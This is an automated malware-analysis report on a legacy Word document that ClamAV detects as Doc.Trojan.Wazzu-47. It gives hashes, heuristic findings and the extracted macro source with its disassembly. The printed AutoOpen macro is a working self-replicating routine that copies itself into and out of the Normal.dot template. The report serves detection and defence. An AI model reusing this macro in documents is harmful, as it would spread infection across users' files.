Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91202afd675e78ab…

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-05-09 18:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 917538fda99816c8f013f2b2d10fcbd4 SHA-1: fef48124dddc92d55c195434f73d6e278300fd55 SHA-256: 91202afd675e78ab323c1ee838aa90b3d7fcdfaa2a3bd4642ef0ff92d0c426a8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is designed to execute automatically when the document is opened. The macro attempts to copy itself to the Normal.dot template, indicating a persistence mechanism. The ClamAV detection and heuristic firings strongly suggest malicious intent, likely related to malware distribution.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2073 bytes
SHA-256: ac8002a2797947e4efd30a1253898d1c8d9ef93982978c9750be39501df00391
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim D$
Dim F$
Dim G$
Dim M$
On Error GoTo -1: On Error GoTo MinSize
D$ = WordBasic.[FileName$]()
F$ = D$ + ":AutoOpen"
G$ = "Global:AutoOpen"
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy G$, F$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy F$, G$
End If
MinSize:
End Sub

' Processing file: /opt/analyzer/scan_staging/e0da5152e03d4e9b85105d2ee9644efd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/AutoOpen - 1750 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	Dim 
' 	VarDefn D
' Line #2:
' 	Dim 
' 	VarDefn False
' Line #3:
' 	Dim 
' 	VarDefn G
' Line #4:
' 	Dim 
' 	VarDefn M
' Line #5:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError MinSize 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St D$ 
' Line #7:
' 	Ld D$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St False$ 
' Line #8:
' 	LitStr 0x000F "Global:AutoOpen"
' 	St G$ 
' Line #9:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x000A 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St M$ 
' Line #10:
' 	Ld M$ 
' 	LitStr 0x000A "NORMAL.DOT"
' 	Eq 
' 	IfBlock 
' Line #11:
' 	Ld G$ 
' 	Ld False$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #12:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #13:
' 	ElseBlock 
' Line #14:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Label MinSize 
' Line #17:
' 	EndSub